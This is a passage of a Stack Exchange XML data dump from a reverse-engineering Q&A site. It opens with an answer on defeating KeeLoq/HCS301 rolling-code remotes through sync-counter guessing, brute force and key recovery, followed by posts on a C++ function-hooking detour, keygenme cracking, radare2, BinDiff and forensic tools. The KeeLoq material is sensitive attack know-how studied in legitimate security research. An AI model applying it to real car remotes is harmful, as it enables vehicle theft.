Number&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OVR bits&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The overflow bits are used to extend the number of&#xA;  possible synchronization values. The synchronization&#xA;  counter is 16 bits in length, yielding 65,536 values&#xA;  before the cycle repeats. Under typical use of&#xA;  10 operations a day, this will provide nearly 18 years of&#xA;  use before a repeated value will be used. Should the&#xA;  system designer conclude that is not adequate, then&#xA;  the overflow bits can be utilized to extend the number&#xA;  of unique values. This can be done by programming&#xA;  OVR0 and OVR1 to 1s at the time of production. The&#xA;  encoder will automatically clear OVR0 the first time that&#xA;  the synchronization value wraps from 0xFFFF to&#xA;  0x0000 and clear OVR1 the second time the counter&#xA;  wraps. Once cleared, OVR0 and OVR1 cannot be set&#xA;  again, thereby creating a permanent record of the&#xA;  counter overflow. This prevents fast cycling of 64K&#xA;  counter. If the decoder system is programmed to track&#xA;  the overflow bits, then the effective number of unique&#xA;  synchronization values can be extended to 196,608. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Under normal circumstances, these bits will be zero. They're used to increase the overall Sync Counter size by two bits but are unused by default, according to the datasheet.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sync Counter&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Out of the datasheet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is the 16-bit synchronization value that is used to create the hopping code for transmission. This value will increment after every transmission.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a value incremented every time a button is pressed, so once we get it we'll be able to roughly know what is the next expected value (which will depend on the number of button presses since).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Figure 7-3 shows a 3-partition, rotating synchronization&#xA;  window. The size of each window is optional but the&#xA;  technique is fundamental. Each time a transmission is&#xA;  authenticated, the intended function is executed and&#xA;  the transmission’s synchronization counter value is&#xA;  stored in EEPROM. From the currently stored counter&#xA;  value there is an initial &quot;Single Operation&quot; forward window&#xA;  of 16 codes. If the difference between a received&#xA;  synchronization counter and the last stored counter is&#xA;  within 16, the intended function will be executed on the&#xA;  single button press and the new synchronization&#xA;  counter will be stored. Storing the new synchronization&#xA;  counter value effectively rotates the entire synchronization&#xA;  window.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A &quot;Double Operation&quot; (resynchronization) window further&#xA;  exists from the Single Operation window up to 32K&#xA;  codes forward of the currently stored counter value. It&#xA;  is referred to as &quot;Double Operation&quot; because a transmission&#xA;  with synchronization counter value in this window&#xA;  will require an additional, sequential counter&#xA;  transmission prior to executing the intended function.&#xA;  Upon receiving the sequential transmission the&#xA;  decoder executes the intended function and stores the&#xA;  synchronization counter value. This resynchronization&#xA;  occurs transparently to the user as it is human nature&#xA;  to press the button a second time if the first was unsuccessful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which means we don't have to hit the exact value, and actually can guess a number the the range of up to 32k values further away, nearly half the size of the value-space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three possible ways to figure it out.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reading the EEPROM&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;By reading the &lt;a href=&quot;https://en.wikipedia.org/wiki/EEPROM&quot; rel=&quot;noreferrer&quot;&gt;EEPROM&lt;/a&gt;, which stores the Sync Counter. Since it is not possible to read EEPROM using the HCS301 without first writing it, you cannot normally read it without tinkering with the hardware. If you've managed to do that you can easily duplicate a remote. Good for you!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Decrypting a single transmission&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;By decrypting a single transmission you can get the currently used Sync Counter, and have a rough estimate going forward. Since the counter is incremented relatively rarely (datasheet estimates 10 times a day), you can easily guess enough values to succeed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Good old bruteforcing&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;By &lt;a href=&quot;https://en.wikipedia.org/wiki/Brute-force_attack&quot; rel=&quot;noreferrer&quot;&gt;bruteforcing&lt;/a&gt; the entire value, you're also able to get the correct value. Since the key-space is relatively small 64k values, you could go at it. According to &lt;a href=&quot;https://securewww.esat.kuleuven.be/cosic/publications/article-1045.pdf&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; cryptanalysis and related-works review:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Depending on the transponder, it takes 65 or 98 minutes to gather &lt;code&gt;2^16&lt;/code&gt; plaintext/ciphertext pairs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note they quote is taken a bit out of context here. While the original intent was getting samples of known plaintext/ciphertext for the challenge-response part of the chip, they also provide a rough estimate at the protocol's speed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that essentially means a receiver can handle these many messages in under two minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully, using the 16 values window mentioned above, we can shave off four bits if done properly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Encryption Key&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://securewww.esat.kuleuven.be/cosic/publications/article-1045.pdf&quot; rel=&quot;noreferrer&quot;&gt;A Practical Attack on KeeLoq&lt;/a&gt; article describes different vulnerabilities of the KeeLoq encryption espclifically as used for vehicle remote controls and immobilizers. This is a good read if you're interested retrieving the key using cryptanalysis, and it demonstrates several potentially feasible methods. It also reviews related works for your convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll iterate possible approaches:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Reading the EEPROM (again)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;if you've done that, you could just as easily get the key itself together with the &lt;em&gt;Sync Counter&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cryptanalysis&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Cryptographically retrieving the key, as described in detail at the above article and it's references.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using the &quot;Learning&quot; feature&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;According the datasheet, the chip has a feature called &quot;Learning&quot; to communicate / share the key which might use the SYNC value OP has mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three types of &quot;Learning&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Simple Learning - this basically means all Encoder (remote controls) and Decoders (cars) by the same manufacturer share the same key, and are associated using the Serial Number. This is useful because it makes bruteforcing slightly more beneficial because a successful retrieval will provide keys for all of that manufacturer's cars. It also makes it easy to parallelize using multiple vehicles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Normal Learning&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The receiver uses information transmitted&#xA;  during normal operation to derive the crypt&#xA;  key and decrypt the received code word’s&#xA;  encrypted portion&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Secure Learning   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transmitter is activated through a special&#xA;  button combination to transmit a stored 60-bit&#xA;  seed value used to generate the transmitter’s&#xA;  crypt key. The receiver uses this seed value&#xA;  to derive the same crypt key and decrypt the&#xA;  received code word’s encrypted portion. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It is possible to use the &quot;Secure Learning&quot; feature, with the &lt;em&gt;manufacturer key&lt;/em&gt; to calculate the key. For that, you'll need to reverse engineer the Key generation algorithm (stored in the receiver/car) and fetch the manufacturer key from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal Learning and Secure Learning are only mentioned, but aren't described in the datasheet in depth which makes it harder to bypass those without manual analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the implementation/design details of &quot;Secure Learning&quot; are not described in the datasheet, a patent filing titled &quot;&lt;a href=&quot;https://www.google.ch/patents/US5686904&quot; rel=&quot;noreferrer&quot;&gt;Secure self learning system&lt;/a&gt;&quot; (USA Patent US 5686904 A) is mentioned on page 29.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The patent includes the following relevant yet vague paragraph:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The key generation algorithm that is used in key generation unit 42 during the secure learning operation is usually a non-linear algorithm. This algorithm accepts as input the manufacturer’s master key 40 (not known) and key generation information. The key generation information can consist of the encoder serial number 24 or the seed 20 or both.&#xA;  This information is transferred from the encoder in a learning operation to the decoder.&#xA;  The decoder 12 uses the key generation algorithm to&#xA;  generate a key 44 that is used to decode a normal code&#xA;  hopping transmission. The security of this mechanism pertains to the fact that the relationship between the transmitted&#xA;  seed and the decoding key is not lmown, rendering any kind&#xA;  of interception of the transmission useless. The non-linear&#xA;  key generation function also makes it impossible to establish&#xA;  any relationship between the key and the key generation&#xA;  information, making it impossible for a possible imposter to&#xA;  copy an illegitimate encoder. The key 22, serial number 24&#xA;  and randomly generated seed 20 of an encoder 10 are loaded&#xA;  during the manufacturing process. The manufacturer generates the key using the seed, serial number, manufacturers&#xA;  master key and key generation algorithm. The key genera&#xA;  tion algorithm is not made known publicly. Because the seed&#xA;  is a random number, the possibility of manufacturing two&#xA;  encoders with the same keys are very slim. Considering the&#xA;  fact that the serial number is also used in this process, it is&#xA;  highly improbable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-11T21:01:21.150" LastActivityDate="2016-10-11T21:01:21.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="2" ParentId="13670" CreationDate="2016-10-11T06:36:06.070" Score="3" Body="&lt;p&gt;Why not use existing tools to do the job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just trying to monitor which files get accessed I would suggest to use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt;: &lt;em&gt;Process Monitor&lt;/em&gt; is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EJhl3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJhl3.gif&quot; alt=&quot;Process Monitor screenshot&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mPzqY.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mPzqY.gif&quot; alt=&quot;Process Monitor Process details screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what data is being read or written I would suggest &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab API Monitor&lt;/a&gt;: &lt;em&gt;API Monitor&lt;/em&gt; is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fmwT4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmwT4.png&quot; alt=&quot;Rohitab API Monitor screenshot&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ueBwX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueBwX.png&quot; alt=&quot;Rohitab ReadFile&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0LnAQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0LnAQ.png&quot; alt=&quot;Rohitab View Buffer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both tools are free.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-10-11T06:36:06.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="2" ParentId="13670" CreationDate="2016-10-11T07:08:04.917" Score="0" Body="&lt;p&gt;Here is my detour function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const void* DetourFunc(BYTE* const src, const BYTE* dest, const DWORD length)&#xA;    {&#xA;        BYTE* jump = new BYTE[length + 5];&#xA;        for (int i = 0; i &amp;lt; sizeof(detourBuffer) / sizeof(void*); ++i)&#xA;        {&#xA;            if (!detourBuffer[i])&#xA;            {&#xA;                detourBuffer[i] = jump;&#xA;                break;&#xA;            }&#xA;        }&#xA;&#xA;        DWORD dwVirtualProtectBackup;&#xA;        VirtualProtect(src, length, PAGE_READWRITE, &amp;amp;dwVirtualProtectBackup);&#xA;&#xA;        memcpy(jump, src, length);&#xA;        jump += length;&#xA;&#xA;        jump[0] = 0xE9;&#xA;        *(DWORD*)(jump + 1) = (DWORD)(src + length - jump) - 5;&#xA;&#xA;        src[0] = 0xE9;&#xA;        *(DWORD*)(src + 1) = (DWORD)(dest - src) - 5;&#xA;&#xA;        VirtualProtect(src, length, dwVirtualProtectBackup, &amp;amp;dwVirtualProtectBackup);&#xA;&#xA;        return jump - length;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;code&gt;DetourFunc ((BYTE*)oFuncAddr, (BYTE*)&amp;amp;hkFunc, 5);&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="17662" LastActivityDate="2016-10-11T07:08:04.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13695" PostTypeId="2" ParentId="13691" CreationDate="2016-10-11T09:43:31.743" Score="2" Body="&lt;p&gt;To summarize your current effort: So you have accomplished to find WHERE the magic is happening. But you didn't DEMYSTIFY the magic itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In detail, you shouldn't expect a simple &lt;code&gt;strcmp&lt;/code&gt;-like serial checking method. If you step back for a second, you will probably realize that a simple &lt;code&gt;strcmp&lt;/code&gt;-like comparison would be far too easy, right? This is probably only the case in some basic tutorials like this &lt;a href=&quot;http://www.behindthefirewalls.com/2013/09/how-to-get-serials-numbers-with-ollydbg.html&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cite your question: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So my question is how can the &lt;code&gt;sub_402B10&lt;/code&gt; function can return a boolean&#xA;  value considering there is not any &lt;code&gt;strcmp&lt;/code&gt;-like function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is exactly what is your job, so you have to understand all the &lt;code&gt;xor&lt;/code&gt;, &lt;code&gt;shift&lt;/code&gt; and &lt;code&gt;loop&lt;/code&gt; magic and how it generates the final &lt;code&gt;0x1&lt;/code&gt; output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have two choices to proceed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can dive into the function and demystify it. What is actually&#xA;the job of solving a keygenme task.&lt;/li&gt;&#xA;&lt;li&gt;You can reformulate a second question, whith additionally insights&#xA;of the &lt;code&gt;sub_402B10&lt;/code&gt; routine. But be careful, you should show that you have&#xA;already invested some time and formulate concrete questions to the&#xA;proceeding of the routine itself. If not, the question will probably be closed as a &quot;homework&quot; question.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Perhaps you should take a look at some tutorials, to get a feeling of cracking a keygenme: &lt;a href=&quot;http://resources.infosecinstitute.com/keygenning-part-i/&quot; rel=&quot;nofollow&quot;&gt;Infosec&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and points you in the right direction!&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-10-11T09:43:31.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="1" AcceptedAnswerId="13707" CreationDate="2016-10-11T10:57:45.383" Score="1" ViewCount="474" Body="&lt;p&gt;&lt;em&gt;this is Easy_ELF from Reversing.Kr&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now R2 displays absolute address for a character inside of a string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  [0x08048454]&amp;gt; pdf&#xA;  ...&#xA;  0x08048454      0fb60521a004.  movzx eax, byte [0x804a021] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already made a flag for global buffer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; f glob.passwordBuf 16 @ 0x0804a020 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to apply offset from it to make R2 to display something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0x08048454      0fb60521a004.  movzx eax, byte [glob.passwordBuf + 1] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;? I.e. I want disassembler to use  what &lt;code&gt;fd 0x804a021&lt;/code&gt; returns (which is &lt;code&gt;glob.passwordBuf + 1&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to reanalyze the function, but it didn't help.&lt;/p&gt;&#xA;" OwnerUserId="17722" LastEditorUserId="2147" LastEditDate="2016-10-11T12:12:16.550" LastActivityDate="2016-10-12T19:29:01.133" Title="Radare2: how to change operand from integer value to (flag + offset) in disassembly output?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13697" PostTypeId="5" CreationDate="2016-10-11T13:18:59.290" Score="0" Body="&lt;p&gt;Documented &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, Downloadable &lt;a href=&quot;https://www.zynamics.com/software.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-11T22:17:42.163" LastActivityDate="2016-10-11T22:17:42.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13698" PostTypeId="4" CreationDate="2016-10-11T13:18:59.290" Score="0" Body="Commercial binary diffing tool formerly developed by Zynamics, and now freely available by Google. Development discontinued." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-11T22:17:36.333" LastActivityDate="2016-10-11T22:17:36.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13699" PostTypeId="2" ParentId="3327" CreationDate="2016-10-11T20:23:11.423" Score="3" Body="&lt;p&gt;With the now free &lt;a href=&quot;https://www.zynamics.com/software.html&quot; rel=&quot;nofollow&quot;&gt;BinDiff 4.2&lt;/a&gt; you can do batch analysis with a bit of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BinDiff installation directory (&lt;code&gt;zynamics/BinDiff 4.2&lt;/code&gt;), you will find &lt;code&gt;bin/differ.exe&lt;/code&gt; and &lt;code&gt;bin/differ64.exe&lt;/code&gt;. Those are binaries for batch diffing of IDBs and &lt;code&gt;.BinExport&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic usage would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;differ --primary=&amp;lt;directory-with-IDBs&amp;gt; --output-dir=&amp;lt;output-directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly, this does not work (at least on my machine) as &lt;code&gt;differ.exe&lt;/code&gt; fails to find IDA's executable and tries to execute the directory instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, we will export IDBs using the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&amp;lt;path-to-idaq.exe&amp;gt;&quot; -A -OExporterModule:&amp;lt;result-directory&amp;gt; -S&quot;&amp;lt;path-to-export-script&amp;gt;&quot; &quot;&amp;lt;path-to-idb&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;export-script&lt;/code&gt; is an &lt;code&gt;.idc&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;&#xA;static main()&#xA;{&#xA;    Batch(0);&#xA;    Wait();&#xA;    Exit(1 - RunPlugin(&quot;zynamics_binexport_8&quot;, 2));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have all your &lt;code&gt;.BinExport&lt;/code&gt; files in one directory, run the original &lt;code&gt;differ.exe&lt;/code&gt; command on that directory (give it the directory with the &lt;code&gt;.BinExport&lt;/code&gt; files instead of the &lt;code&gt;.idb&lt;/code&gt; files), and you'll get &lt;code&gt;.BinDiff&lt;/code&gt; files for all possible diffs. Those can either be opened up in IDA, or manually parsed (they are SQLite databases).&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-10-11T20:23:11.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13700" PostTypeId="1" CreationDate="2016-10-11T21:39:49.003" Score="3" ViewCount="7103" Body="&lt;p&gt;As I know Rekall and Volatility don't support Windows 10 hiberfil.sys analysis. Corresponding &lt;a href=&quot;https://github.com/volatilityfoundation/volatility/issues/25&quot; rel=&quot;nofollow&quot;&gt;issue&lt;/a&gt; marked with Win 8/Win 10 is still opened.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tools (free, paid, open source, any) that able to reconstruct address space or unpack &lt;code&gt;hiberfil.sys&lt;/code&gt; file to plain binary form?  &lt;/p&gt;&#xA;" OwnerUserId="4470" LastActivityDate="2017-03-10T14:18:01.427" Title="Tools for Windows 10 hiberfil.sys file analysis" Tags="|memory|digital-forensics|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13701" PostTypeId="2" ParentId="13700" CreationDate="2016-10-11T21:56:51.780" Score="1" Body="&lt;p&gt;It looks like the commercial EnCase Forensics &lt;a href=&quot;https://www2.guidancesoftware.com/about/Pages/newsroom/post/Guidance-Software-Introduces-Enhanced-Forensic-Solution.aspx&quot; rel=&quot;nofollow&quot;&gt;supports&lt;/a&gt; Windows 10 to some extent since version 7.12 (they're now at 8). You might want to check it out with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.moonsols.com/wp-content/uploads/2011/02/PRESS-RELEASE-10Nov2013-EN-v1.1.pdf&quot; rel=&quot;nofollow&quot;&gt;Moonsols Windows Memory Toolkit&lt;/a&gt; has an utility called &quot;hibr2bin.exe&quot; that is able to convert windows8 hibernation files to raw dumps, those should be similar to windows10's, so they have a good chance of working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I encountered &lt;a href=&quot;https://github.com/volatilityfoundation/volatility/issues/176#issuecomment-130682295&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; message from more than a year ago:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We've analyzed the hiberfil.sys file format of Windows 8, and will release a Decompressor a month later. Anybody who want to joint us or want to own the Decompressor may mail to us, flyingdreaming@bupt.edu.cn.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you might want to hit him up.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-11T22:10:11.757" LastActivityDate="2016-10-11T22:10:11.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="1" CreationDate="2016-10-12T09:23:20.750" Score="2" ViewCount="8843" Body="&lt;p&gt;I am trying to understand some algorithm of how the thing works. Here is the function I got from decompiling my executable with Hey Rays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to run this function to see the result and then understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first thing I want to know what all the signature of this function means?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__usercall sub_401960&amp;lt;eax&amp;gt;(int a1&amp;lt;edi&amp;gt;)&#xA;__usercall&#xA;eax and diamond &amp;lt;&amp;gt;&#xA;edi and diamond &amp;lt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I want to know what these things mean:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(_BYTE *)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__security_cookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and what they're doing in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;&#xA;int __usercall sub_401960&amp;lt;eax&amp;gt;(int a1&amp;lt;edi&amp;gt;)&#xA;{&#xA;  int result; // eax@1&#xA;  signed int v2; // esi@1&#xA;  char v3; // cl@2&#xA;  char v4; // cl@3&#xA;  char v5; // cl@8&#xA;  char v6; // cl@9&#xA;  char v7; // cl@14&#xA;  char v8; // cl@15&#xA;  char v9; // cl@20&#xA;  char v10; // cl@21&#xA;&#xA;  result = 0;&#xA;  v2 = 0;&#xA;  do&#xA;  {&#xA;    v3 = *(_BYTE *)(v2 + a1);&#xA;    if ( (unsigned __int8)(v3 - 48) &amp;gt; 9u )&#xA;    {&#xA;      if ( (unsigned __int8)(v3 - 97) &amp;gt; 5u )&#xA;      {&#xA;        if ( (unsigned __int8)(v3 - 65) &amp;gt; 5u )&#xA;          return result;&#xA;        v4 = v3 - 55;&#xA;      }&#xA;      else&#xA;      {&#xA;        v4 = v3 - 87;&#xA;      }&#xA;    }&#xA;...&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry if I've asked such newbie question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to run the thing!&lt;/p&gt;&#xA;" OwnerUserId="17734" LastEditorUserId="2147" LastEditDate="2016-10-12T14:43:09.037" LastActivityDate="2016-10-12T15:25:04.290" Title="What is *(_BYTE *), __usercall, eax and edi" Tags="|ida|assembly|c|hexrays|" AnswerCount="2" CommentCount="0" ClosedDate="2016-10-20T03:26:13.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="13704" PostTypeId="1" CreationDate="2016-10-12T11:40:42.950" Score="1" ViewCount="655" Body="&lt;p&gt;&lt;em&gt;Background:&lt;/em&gt; Based on general information in a whitepaper from Synology, I have reverse engineered the specifics of their Cloud Sync encryption algorithm; see &lt;a href=&quot;https://github.com/marnix/synology-decrypt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;synology-decrypt&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this encryption, both the session key and the data is encrypted using a password, using AES-256 in CBC mode, with key and iv derived from the password as in &lt;code&gt;openssl enc&lt;/code&gt;.  That problem I've cracked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now they upgraded the encrypted file format (from 1.0 to 3.0) to include a random salt, and I'm trying to figure out how that salt is exactly used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Question:&lt;/em&gt;  Which algorithm is used to encrypt/decrypt the below plaintext/ciphertext using the given password/salt combinations?  (Based on the above, I would expect this to be AES-256 in CBC mode, with key+iv as derived from the password as in &lt;code&gt;openssl enc&lt;/code&gt;.  But I'm not at all certain.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably, I'd like to have a UNIX command line (using &lt;code&gt;openssl&lt;/code&gt; for example) which transform plaintext to ciphertext or the other way around.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    +--------------------------------------------------------------------+--------------+----------------------+--------------------------------------------------------------+&#xA;    |                                    plaintext                       |   password   |       salt           |                          ciphertext                          |&#xA;    +--------------------------------------------------------------------+--------------+----------------------+--------------------------------------------------------------+&#xA;    | &quot;Just a single line, no newline character at the end...&quot;           | &quot;buJx9/y9fV&quot; | &quot;DXzp4VKu&quot;           | 8f7d757c0e46ab0c434ab72b2a70ec71ad49b2284257189365cb4c706751 |&#xA;    | (4a75737420612073696e676c65206c696e652c206e6f206e65776c696e65      |              | (44587a7034564b75 or | 10a3b98bd95f58bd5eafdccb51020354dc33449b221b45c134180882aa84 |&#xA;    |  206368617261637465722061742074686520656e642e2e2e)                 |              |  0d7ce9e152ae)       | 739ff78f0213a54a720537785495a84425b0415b                     |&#xA;    